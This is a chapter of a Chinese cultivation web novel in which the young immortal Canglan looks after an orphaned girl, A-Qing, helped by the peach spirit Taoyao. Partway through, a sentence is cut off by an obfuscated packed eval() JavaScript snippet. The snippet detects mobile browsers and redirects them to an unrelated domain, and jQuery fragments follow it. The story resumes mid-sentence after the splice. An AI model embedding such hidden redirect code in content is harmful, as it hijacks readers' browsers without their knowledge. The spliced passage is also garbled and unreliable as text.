“她喊你叫娘?”
“真的假的?她不是怕你吗,怎么会喊你叫娘?”
“难道是你同她阿娘生得极像?又或者说,你这一身的气质,温温柔柔的……”
“说起来,真这么喊也没错。你看这又是熬药又是看伤又是哄孩子,忙里忙外的,跟当娘也没什么区别。”
桃夭跟在沧澜身后,喋喋不休的咋舌着,也不管少年是不是一心照看着手中的药草,并不理会她。
沧澜听得耳烦,索性给自己加了一个闭听咒。
昨夜的雨下起来没完,一直延续到第二日。沧澜在后半夜将阿青哄睡后,又修补了小院周遭的阵法,终于使其不再漏入风雨。
但是阴潮的天气与这天气所带来的天象与声音终究没办法改变。
他便始终将东厢房的闭听咒维持着。
炉火上汤药的煎熬过程在这个清晨似乎格外漫长,终于等到药汁浓收到一小碗,沧澜将其倒入碗中,准备端过去喊阿青起来。
然指腹刚触碰到碗边,少年神色便微微生变,像是感受到什么,抬眸向天边东北方望去。
“我设在临江水上用以拦截魔物的禁制被触动,须得去看一眼。”他对靠坐在桃花古树上晒雨水的桃夭说。
桃花妖慵懒的斜躺着,正对着天光正反欣赏自己新染的指甲:“去就去呗,同我说作什么?”
沧澜望了一眼放在桌案上蒸腾着热气的药碗。
桃夭没好气的翻白眼:“关老娘屁事儿。你捡回来的小丫头,管你喊娘,可不管我喊娘。”
沧澜没理会她的抱怨,只道:“拜托了。”
·
触动了禁制的是一只蛇尾魔。
这只魔的身上受了伤,看上去是刀剑的痕迹,原本遍布鳞片的蛇尾上也有数道劲气切割出来的伤口,汩汩的流着血,在禁制中横冲乱撞着,十分暴躁。
但无论如何,解决魔物,并将禁制重新修补,并没有花费沧澜太久的时间。
等到他回去临江山的时候,山上的雨仍旧下着,阴云却散了些,透露出几分澄澈的天光来。
他还未踏入院中,便听见东厢房传来桃夭愤怒的谩骂声音:“你这小丫头,哪里来的赖脾气!药也不喝,鞋也不穿,同一根破布带子在这里置气!都跟你说了屋里不许烧东西,不许!等一会儿沧澜那臭小子回来,我定要告你的状!”
沧澜按了按眉角,快步走到门前,推开房门。
便看见桃夭一整个儿飘在桌子上,淡粉色的灵气将熄了的灯盏高高卷起,举在小女孩触碰不到的高处。
而名为阿青的女孩则光着脚,踩在凳子上,试图伸手去抓她。
可桃夭没有实体,只有灵力所化出来的淡粉色虚影,她的手伸出去,也只能抓了个空。
听到推门的声音,两人俱循着声音向沧澜的方向转过头来。桃夭当即一甩手,悬在空中的灯盏被抛向沧澜,淡粉色的光点于房间中消散,空余愤怒的声音:“可算回来了,这破丫头你自己管吧!”
“……”
沧澜静默的收回目光,接住那只被抛扔过来的灯盏,目光投向光脚站在凳子上的小女孩。
女孩手中攥着一条燎烧了边角的布带,团在掌心一半,垂下来一半,对上他的目光,动作微微停了一瞬,终究还是没有动。
沧澜叹气,走了过去,将那灯盏放在桌上,从袖中取出两只拳头大小的橘子:“我回了一趟永安堂,见还有两颗橘子,便捎了回来。”
这橘子是当初阿榆的爹爹能够下床之后硬送过来的,阿青厌恶喝药,但有了这橘子,她多少也算是能够乖巧的将汤药喝下去。
沧澜正是思及此事,才回去永安堂一趟,将剩余的橘子取来。
又捎带着买了一罐糖——放在外面的柜子里,没有在此刻拿出来。
女孩眨了眨眼睛,抬手触碰这两颗被放在桌上的橘子,却没有立刻将其拿起来,而是指向沧澜的手边:“灯。”
“要灯盏?”沧澜有些讶异。
他倒没有如桃夭一般决绝反对,抬手将手边的灯盏推到女孩面前。
这样的动作似乎终于让女孩有些满意,从凳子上坐了下来。
她看着这只灯盏,盏中烛火在先前已经被桃夭吹灭,只剩凝固的蜡油堆聚在盏底,微微灼烫。
“火。”她又开口。
沧澜没动,但灯盏的烛芯上倏然窜起火苗。
灿灿的一缕火苗,在并不昏暗的空间中燃烧着,并没有起到太多照明的作用。
只是使蜡烛的气味弥散开来。
慕容嘉青盯着燃烧的火苗看了片刻,慢慢的抬手,拳头悬在火苗上空,然后松开。
被她紧攥在掌心的布带垂落,接触到火舌的瞬间便卷曲燎烧起来,像是一条白色的小蛇,受到火焰煎熬而微微的颤动着。
沧澜平静的看着她做这件事情,看那火焰最中将布带从中间烧断,两头断裂分落下去,在桌面上继续燃烧。
草木灰的味道从絮状的灰烬中传递出来。
等到那条布带彻底被燃烧殆尽,沧澜抬手拂过桌面,将残存的火苗抹去,不使其波及其它。
他没有问她为什么烧这一条布带,也没有问为何他捡到她时这布带被很规整的系在她的腕上。
只将灯盏取走,轻声问:“喝药吗?”
女孩点了点头。
沧澜起身去床头取药,药碗边缘传递来的温度尚余几分暖热。
·
接下来的一天,阿青都表现得乖巧安静,让她喝药便喝药,吃东西便吃东西,鞋子也乖乖的穿好,头发老老实实的扎起来,在脑后团成两个小丸子。
沧澜看着这个精神状态有些恢复的小女孩,也没管她,给她打理好之后,就仍旧去做自己的事情——自白水而来的魔物闯入人间,范围颇广,一人之力难以顾及全面,便须得在各处提前设下禁制,拦阻示警,争取以供赶到处理的时间。
等到安定下来,已经近乎到了深夜。
临江山上的雨仍旧下着,只是不再电闪雷鸣,仅余哗啦啦的声响。
沧澜看了一眼东厢房的方向,窗扇紧紧闭着,里面没有灯火的光亮。
他迟疑了一瞬,还是走进去查看,发现女孩安静的躺在床榻上,呼吸均匀的睡着。
这小女孩没出什么事情,便是让沧澜松了口气,回去西边厢房。
一日奔波满身尘泥,衣衫上更是难免沾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733235|174031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
染处理魔物时候留下来的污浊血气。在人间住得久了,沧澜鲜少使用清洁咒,而是更习惯自己动手,引水沐浴。
少年洗去身上尘浊,换了干净衣衫,发丝潮润的垂在肩颈,坐到床边准备给伤处换药。
然而他刚坐下,便觉察出些许的异样——
他惯来一个人独自居住,不喜旁人闯入属于自己的那一方空间,再加上临江山上多年修行,感知最为敏锐,在坐下的瞬间便觉察出房间中并非只他一人。
还有旁人的气息。
沧澜静默了片刻,抬眼去看窗处,在他不知晓的时候,那窗扇不知怎的开了一条细小的缝隙,潮润的雨气正从那缝隙中向内蔓延进来。
他微微垂眼,感觉额角的神经突突跳了片刻,终究还是没有说什么,起身去将窗扇的缝隙闭合上。
然后转身,看着床榻的方向。
半晌后,轻轻叹气:“出来吧。”
没了自外而来的呼呼风声与落雨声音,整个房间的空气在烛火笼罩之下,聚着一团淡淡的暖意。
烛火的火舌映着墙壁摇晃了片刻,才终于有黑色的影子从床底爬出来。女孩的头发散着,只穿了中衣,光着脚,一张小脸在分割处映得白净。
“你来我房间作什么?”沧澜看着她怀里尚且抱着的那个拳头大小的橘子,有几分无奈的道。
阿青抱着橘子,沉默了半晌,将橘子放在床上。
原本便是橙黄颜色的橘子在烛火光照下显出几分浓重的红艳。
沧澜微微有几分愣:“给我的?”
阿青点头。
沧澜问:“为什么?”
阿青慢吞吞的推了一下那橘子,不说话。
沧澜叹了口气:“我送你回去。”
听到这话,小女孩的面上却流露出一瞬的紧张。她不知怎么想的,突然抓起刚才放在床上的橘子,两步跑过来塞到沧澜怀里,然后极快的跑回床边,跳上床榻,掀开被褥,蒙头把自己塞进去了。
沧澜:“……”
看起来很是抗拒呢。
但他也没有去强迫这小女孩。既然她不肯走,要在这个屋子里睡觉,那他离开……总行了吧。
他拿着橘子转身往外走。
然而刚走到床尾,便看见被褥被鼓鼓的顶起来,边缘冒出一个圆圆的小脑袋,脑袋上两颗乌石般的眼珠子的盯着他。
沧澜被盯得愣住,隐约间有些读出她这一翻动作的意思。
他拿着那颗橘子,分出一根手指来指了指自己:“你是想让我……不走,在这里陪着你?”
女孩没有说话,没有点头,也没有摇头,但是沧澜莫名从她眼中看出些固执和坚定来。
但是他心硬如铁,走到门边拉开门扇。潮润的风裹着雨夜的湿气立刻钻入进来。
沧澜在这潮冷的风口站了片刻,又回头看了女孩一眼。
她仍旧保持着方才从被褥里探出脑袋的姿势,双手环抱着膝盖,眼睛一眨不眨的看着他。
……
沧澜终究是没扭过那固执。
少年关上门扉,重新走回来,取了之前搁置在床头的书卷,在桌边坐下,将之在灯下展开:“睡吧,我在这儿守着你。